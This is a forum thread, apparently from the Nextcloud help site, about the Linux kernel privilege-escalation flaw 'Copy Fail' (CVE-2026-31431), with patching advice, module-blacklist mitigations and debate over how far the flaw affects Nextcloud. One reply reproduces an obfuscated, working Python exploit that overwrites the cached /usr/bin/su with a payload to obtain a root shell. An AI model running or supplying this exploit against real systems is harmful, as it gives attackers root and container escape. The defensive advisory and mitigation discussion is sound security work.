Linux Kernel Vulnerability “Copy Fail” (CVE-2026-31431) — Immediate Action Required

📰 News
1

:police_car_light: URGENT: Kernel Vulnerability “Copy Fail” (CVE-2026-31431) — Immediate Action Required

A critical Linux kernel vulnerability known as “Copy Fail” (CVE-2026-31431) is currently being actively discussed and already has public, reliable exploit code available.

This is not theoretical. This is not niche.
If your system is vulnerable and an attacker gains any form of local access, root compromise is trivial.

:fire: Why this is exceptionally dangerous

  • Affects Linux kernels going back many years
  • Exploitation is deterministic (no race conditions, no guessing)
  • Works across distributions with little to no modification
  • Leaves no traces on disk (file integrity checks won’t help)

This is effectively: one exploit → root on almost everything

:brick: Container users: You are NOT safe

This vulnerability exists in the kernel itself.

That means:

  • Docker, Podman, LXC, Kubernetes, etc. do NOT provide protection
  • A compromised container can escape to the host
  • From there: full system takeover

If you rely on containers as a security boundary, assume that boundary is gone.

:hammer_and_wrench: The uncomfortable truth: there is ONLY ONE fix

There are:

  • :cross_mark: no reliable mitigations
  • :cross_mark: no configuration workarounds
  • :cross_mark: no “we’ll deal with it later” option

:white_check_mark: The ONLY fix is:

  1. Install a patched kernel
  2. REBOOT

If you have not rebooted into a patched kernel, your system is still vulnerable.

:stopwatch: Reality check

From years of experience in this forum, many systems are:

  • months behind on updates
  • running old kernels
  • rarely rebooted

That approach is no longer acceptable in this case.

Yesterday was already too late.

:brain: Simplified exploit flow

flowchart TD
    A[Unprivileged User or Compromised App] --> B[Trigger AF ALG Crypto Interface]
    B --> C[Abuse splice behavior]
    C --> D[Overwrite Page Cache of target binary]
    D --> E[Execute modified SUID binary]
    E --> F[Root shell]

Key detail:
The attacker modifies memory-backed file pages, not the file on disk — making detection extremely difficult.

:pushpin: What you must do NOW

  • Update your system:

    • Debian/Ubuntu: apt update && apt full-upgrade
    • RHEL/CentOS/Alma: dnf update

  • Ensure a patched kernel is installed

  • Reboot immediately

  • Verify the running kernel version (uname -r)

:link: Further reading

:warning: Final words

If your system is exposed to:

  • web applications
  • user uploads
  • shared hosting
  • containers

…then you should assume this vulnerability is relevant to you.

Do not wait.
Do not postpone.
Patch. Reboot. Verify.

ernolf

2

Hey @ernolf!

thanks for this topic.

Take action please.

3

Hey @ernolf

THX :+1:

done :check_mark:

4

hold your horses, mate!
not every full upgrade goes smoothly with NC installed.

but in general - you are right. Thanks for your warning!

5

As fas as I know, the fix for Bookworm hasn’t been released yet.

6

It has, see https://security-tracker.debian.org/tracker/CVE-2026-31431
Also there are workarounds available to disable the affected module.
Please keep in mind that some kind of code execution is still needed.

7

That was a very poorly generated news post. It stirs up fear, but doesn’t spell out what copy.fail is or how it relates to Nextcloud.

  • This is not a Nextcloud or PHP issue.
  • This is a privilege escalation attack, which means it must be run as a user on the underlying system.
  • See this python example as clearly explained on https://copy.fail, in addition to various mitigations. This is a real example of the exploit in python, which you can test on your machine.

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
  • What it does is elevate an existing user to root admin.
  • This means you would need shell access or some account on the server to then escalate.
  • Are you giving people SSH access to your server?
  • Are you giving people user accounts on your server directly, outside of Nextcloud?
  • etc.

It is an important problem, but it also does not explicitly mean Nextcloud itself is compromised and you should randomly upgrade or freak out… do a search of your Linux distribution to see the status of how upgrades and mitigations are addressing copy.fail first. If you are running the affected subsytem, it can be disabled even without upgrading; some distributions are still working through this.

Here is an AI explanation, to match original post:

How Copy.fail relates to Nextcloud

Copy.fail (CVE‑2026‑31431) is a Linux kernel local privilege‑escalation vulnerability that allows any unprivileged local user to write controlled bytes into the page cache of any readable file, including setuid binaries, and escalate to root.

Nextcloud itself is not directly affected because:

  • It is a PHP application, not a kernel component.

  • It does not use the vulnerable algif_aead crypto subsystem.

  • It does not expose any direct attack surface for Copy.fail.

However, Nextcloud runs on top of Linux, so the vulnerability can still matter depending on your deployment model.

8

If the post was to be helpful, it would have given the mitigation, which is to (as root) :

rmmod algif_aead 2>/dev/null || true

And the fix: if on Debian, make sure that /etc/apt/sources.list has bookworm-security in its list (or similar for your version of Debian) and:

apt update && apt -y full-upgrade

Then, if the kernel was updated by this:

sudo reboot

9

Sorry, but you don’t necessarily need shell access to exploit this vulnerability. Any RCE (remote code execution) vulnerability in Nextcloud or PHP will do. If an attacker somehow manages to execute arbitrary code on a system, this vulnerability can be exploited.

Exactly. :wink:

10

No, that alone is not a reliable mitigation.

This does not guarantee that the module will actually be unloaded if it is already in use, nor that it will not be reloaded after rebooting the system. To be on the safe side, you should also blacklist it:

echo “blacklist algif_aead” > /etc/modprobe.d/blacklist-algif.conf

However, the best approach is to update your system, as already mentioned in the original post. By now, most distributions should offer fixed kernel versions.

11

Oh, and by the way. As it happens, they just discovered a potential RCE vulnerability in Apache. If this can actually be exploited, it could be pretty disastrous when combined with CopyFail.

https://www.cve.org/CVERecord?id=CVE-2026-23918

https://thehackernews.com/2026/05/critical-apache-http2-flaw-cve-2026.html

https://help.nextcloud.com/t/critical-apache-cve-2026-23918-aio-impcated/244139

12

Unfortunately, Ubuntu has not yet released any patches for this vulnerability. CVE-2026-31431 | Ubuntu

13

They have released midigations for all affected versions on April 30: Fixes available for CVE-2026-31431 (Copy Fail) Linux Kernel Local Privilege Escalation Vulnerability | Ubuntu

apt-get changelog kmod

kmod (31+20240202-2ubuntu7.2) noble-security; urgency=medium

  * Disable loading of algif_aead module to mitigate CVE-2026-31431
    (LP: #2150743)
    - debian/modprobe.d/disable-algif_aead.conf